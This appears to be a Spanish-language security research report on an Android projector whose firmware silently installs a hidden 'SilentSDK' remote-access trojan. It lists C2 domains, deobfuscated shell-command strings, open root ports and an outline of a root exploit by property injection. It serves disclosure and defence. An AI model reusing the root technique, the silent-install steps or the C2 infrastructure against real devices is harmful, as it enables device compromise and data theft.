Solo para fines educativos y de investigación. Este informe se proporciona "tal cual" con fines informativos sobre amenazas de ciberseguridad. El análisis se basa en una instantánea del ecosistema actual de malware; dado que la ingeniería inversa es un proceso continuo, los hallazgos pueden estar sujetos a cambios a medida que se disponga de nuevos datos.

Este informe se ha recopilado de buena fe y según mi leal saber y entender, basándose en el análisis de datos binarios y código fuente descompilado. Debido al alto nivel de ofuscación y la naturaleza cambiante de la amenaza, estos hallazgos representan el estado actual de la investigación. Si bien la evidencia respalda firmemente las conclusiones, estas están sujetas a revisión a medida que se descubran nuevas pruebas técnicas.
Descargar herramienta
PropiedadValor
Nombre de MarcaNonete HY260Pro (modelo vendido por múltiples empresas)
Nombre del Modelo InternoNT10
SoCAllwinner sun50iw12p1 (ARM 32 bits)
Sistema OperativoSpectraOS (Android 11, Kernel 5.4.99)
Build Fingerprint RealAllwinner/h713_tuna_p3/h713-tuna_p3:11
Build Fingerprint SuplantadoADT-3/adt3/adt3:11/RP1A.201005.006
SELinuxPermisivo (sin aplicación de políticas)
Clave de Firma de PlataformaClave de Prueba Pública de AOSP
Certificado OEMCN=蓝鲨, OU=www.bsh.me, C=CN
Canal de FirmwareHY260Pro_SpectraOS_TPYB
PasoAcciónResultado
1Captura de tráfico de red con WiresharkTráfico HTTP a store-api.aodintech.com
2Decodificación de la respuesta C2 comprimida con gzip7 aplicaciones, incluyendo "SilentTools" oculta
3Descifrado AES-CBC de la ruta de descargaClave [REDACTED], URL al archivo .bpp
4Explotación de root mediante /oem/customer.propuid=0(root) tras inyección de propiedades
5Volcado forense de /data, /oem, /systemAPKs, bases de datos, configuraciones
6Análisis estático de StoreOS DEXpm install -r -d, protección por inversión de bytes
7Ingeniería inversa del mecanismo reverseLenComprensión de la protección anti-análisis
8Rotura de la protección por inversión de bytesDEX de SilentSDK descifrado y analizable
9Descifrado XOR de cadenas de SilentSDKDominio C2 api.pixelpioneerss.com confirmado
10Verificación de hash en tres fuentesMD5/SHA-256 coinciden perfectamente
11Ingeniería inversa del proceso de descarga del malwareServidores aún en línea
12Ingeniería inversa del malwareFramework RAT basado en plugins
AplicaciónPaqueteisShowisForceInstalación SilenciosaDesinstalación SilenciosaTipo de inicio
YouTubecom.google.android.youtube.tvtruefalsefalsefalse0
Disney+com.disney.disneyplustruefalsefalsefalse0
Netflixcom.netflix.mediaclienttruefalsefalsefalse0
Chromecom.android.chrometruefalsefalsefalse0
Prime Videocom.amazon.amazonvideo.livingroomtruefalsefalsefalse0
BrowseHerecom.tcl.browsertruefalsefalsefalse0
SilentToolscom.hotack.silentsdkfalsetruefalsetrue1
Llamada OfuscadaResultadoFunción
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})api.pixelpioneerss.comDominio C2
m36g({7,-68}, {116,-44,...})shBinario de shell para Runtime.exec()
m36g({-83,-92,-19,...}, {-50,-52,...})chmod 777Comando de shell
m36g({-47,-3,-68,106,-76}, {-1,-119,...}).tempSufijo de archivo temporal para descargas
m36g({125,61,58,...}, {21,73,78,...})https://Protocolo principal
m36g({0,90,58,...}, {104,46,78,...})http://Respaldo en caso de error SSL
m36g({-22,78,57}, {-71,29,117,...})SSLProtocolo TLS
m36g({-15}, {-112,...})aNombre de cabecera personalizada → valor 1003
m36g({17,67,42}, {124,39,...})md5MessageDigest.getInstance("md5")
m36g({-15,90,-128,21}, {-122,51,...})wifigetSystemService("wifi")
m36g({-48,89,-25,-31,...}, {-73,60,...})getprop wifi.interfaceRespaldo de shell: leer nombre de interfaz
m36g({-95,-26,-107,-91,...}, {-62,-121,...})cat /sys/class/net/Respaldo de shell: leer MAC (prefijo)
m36g({6,-88,45,-126,...}, {41,-55,...})/addressRespaldo de shell: leer MAC (sufijo)
m36g({10,39,105,25,...}, {58,21,...})02:00:00:00:00:00Centinela de MAC falsa de Android (API 23+)
PuertoUIDDescripción
65528root (0)Demonio su
5555root (0)ADB sin autenticación
7889/7890system (1000)Servicio desconocido
10012/10013system (1000)¿Depuración de fábrica?
ServidorEndpointFunción
store-api.aodintech.comPOST /sign/app/listDistribución de Aplicaciones
sta.smartinnovate.netGET /*.jarDistribución de Payload
cdn-store.aodintech.comGET /*.bppDescarga de APK
event-api.aodintech.comPOST /reportTelemetría
api.pixelpioneerss.comPOST /(random)RAT C2 de SilentSDK
bur.thedynamicleap.com`POST (GZIP+AES)``Exfiltración de Telemetría de SilentSDK
pb-api.aodintech.comGET /api/collections/...Configuración de Anuncios
ota.triplesai.com:8080POST /V1/Ota/CheckActualizaciones de Firmware
api.ipdatacloud.comGET /v2/queryGeolocalización IP
euads-o.api.leiniao.com—Servidor de Anuncios Secundario
connect.rom.miui.com—Telemetría de Xiaomi
Valor Suplantado
Valor Real
ro.build.fingerprintADT-3/adt3/adt3:11—
ro.product.build.*—Allwinner/h713_tuna_p3
Fecha de compilación—Tue Apr 22 15:20 CST 2025
SHA-256
Respuesta del Servidor C25df097591d694...—
Nuestro APK Descifrado5df097591d694...e5a193c31526a...
Análisis Externo—e5a193c31526a...